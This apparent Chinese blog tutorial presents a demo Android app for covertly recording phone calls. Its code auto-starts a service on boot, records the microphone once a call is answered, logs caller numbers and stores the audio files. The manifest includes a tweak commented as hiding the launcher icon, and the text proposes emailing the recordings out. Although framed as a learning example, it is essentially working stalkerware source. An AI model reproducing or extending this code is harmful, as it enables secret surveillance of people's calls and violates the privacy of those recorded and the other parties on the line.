监听电话app

一.功能简介：
    本demo基于android 6.0实现对麦克风的录音，将录音保存到本地。利用广播监听开机启动，并开启监听服务。如果有兴趣，可以添加网络权限和上传功能到指定邮箱等等。
二. 代码简介
     1.StartPhoneBroadcast.java    本类用于监听开机启动事件，并开启监听服务。

 public void onReceive(Context context, Intent intent) {if(ACTION_BOOT.equals(intent.getAction())){//检测到系统开机Toast.makeText(context,"已开机",Toast.LENGTH_LONG).show();Intent service=new Intent();service.setClass(context, MyService.class);context.startService(service);}}

注：ACTION_BOOT为自定义字符串private final String ACTION_BOOT = "android.intent.action.BOOT_COMPLETED";
 2.MyService.java类

    @Overridepublic void onCreate() {super.onCreate();//获取电话管理器对象TelephonyManager telephonyManager= ( TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//设置电话监听器，监听电话状态telephonyManager.listen(new MyTelephoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}//定义监听内部类实现监听录音class MyTelephoneListener extends PhoneStateListener{private  MediaRecorder recorder;private boolean record;private File audioFile;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);switch (state){case TelephonyManager.CALL_STATE_OFFHOOK:recorder = new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//输出到缓存目录，此处可以添加上传录音的功能，也可以存到其他位置audioFile = new File(getCacheDir(), "recoder"+ "_" + System.currentTimeMillis() + ".3gp");recorder.setOutputFile(audioFile.getAbsolutePath());try {recorder.prepare();} catch (IOException e) {e.printStackTrace();}recorder.start();record=true;Log.i(tag,"电话已经摘机");break;case TelephonyManager.CALL_STATE_RINGING:String mobile=incomingNumber;Log.i(tag,"电话已响铃");Log.i(tag,mobile+"来电");break;case TelephonyManager.CALL_STATE_IDLE:if(record) {recorder.stop(); //停止刻录recorder.release(); //释放资源Log.i(tag, "电话空闲");record=false;}break;}}}

三.MainActivity类
  因为需要申请权限，所以在MainActivity中添加权限申请。
            Manifest.permission.READ_PHONE_STATE, //读取电话状态
            Manifest.permission.RECEIVE_BOOT_COMPLETED, //开机启动广播（不需要手动申请）
            Manifest.permission.WRITE_EXTERNAL_STORAGE, //读写SD卡
            Manifest.permission.RECORD_AUDIO        //录音权限

    protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);verifyStoragePermissions(this);}@Overridepublic boolean onCreateOptionsMenu(Menu menu) {return super.onCreateOptionsMenu(menu);}private static final int READ_PHONE_STATE = 1;private static String[] CALLS_STATE = {Manifest.permission.READ_PHONE_STATE,Manifest.permission.WRITE_EXTERNAL_STORAGE,Manifest.permission.RECORD_AUDIO};public static void verifyStoragePermissions(Activity activity) {int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.READ_PHONE_STATE);if (permission != PackageManager.PERMISSION_GRANTED) {ActivityCompat.requestPermissions(activity, CALLS_STATE , READ_PHONE_STATE);}}

四.在资源文件中配置

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="my.com.services01"><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.RECORD_AUDIO"/><applicationandroid:allowBackup="true"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:supportsRtl="true"android:theme="@style/AppTheme"><activity android:name=".MainActivity"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/>
<!-- 用于隐藏应用快捷图标-->
<data android:host="MainActivity" android:scheme="my.com.Mainactivity" /></intent-filter></activity><service android:name="my.com.service.MyService"></service><receiver android:name="my.com.broadcast.StartPhoneBroadcast" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver></application></manifest>

五.总结
    本案例是用来学习监听电话录音的，由于录音只能识别麦克风的声音，所以只能录下自己说的话，如果需要录下对方的声音，需要在打电话的时候开启扬声器。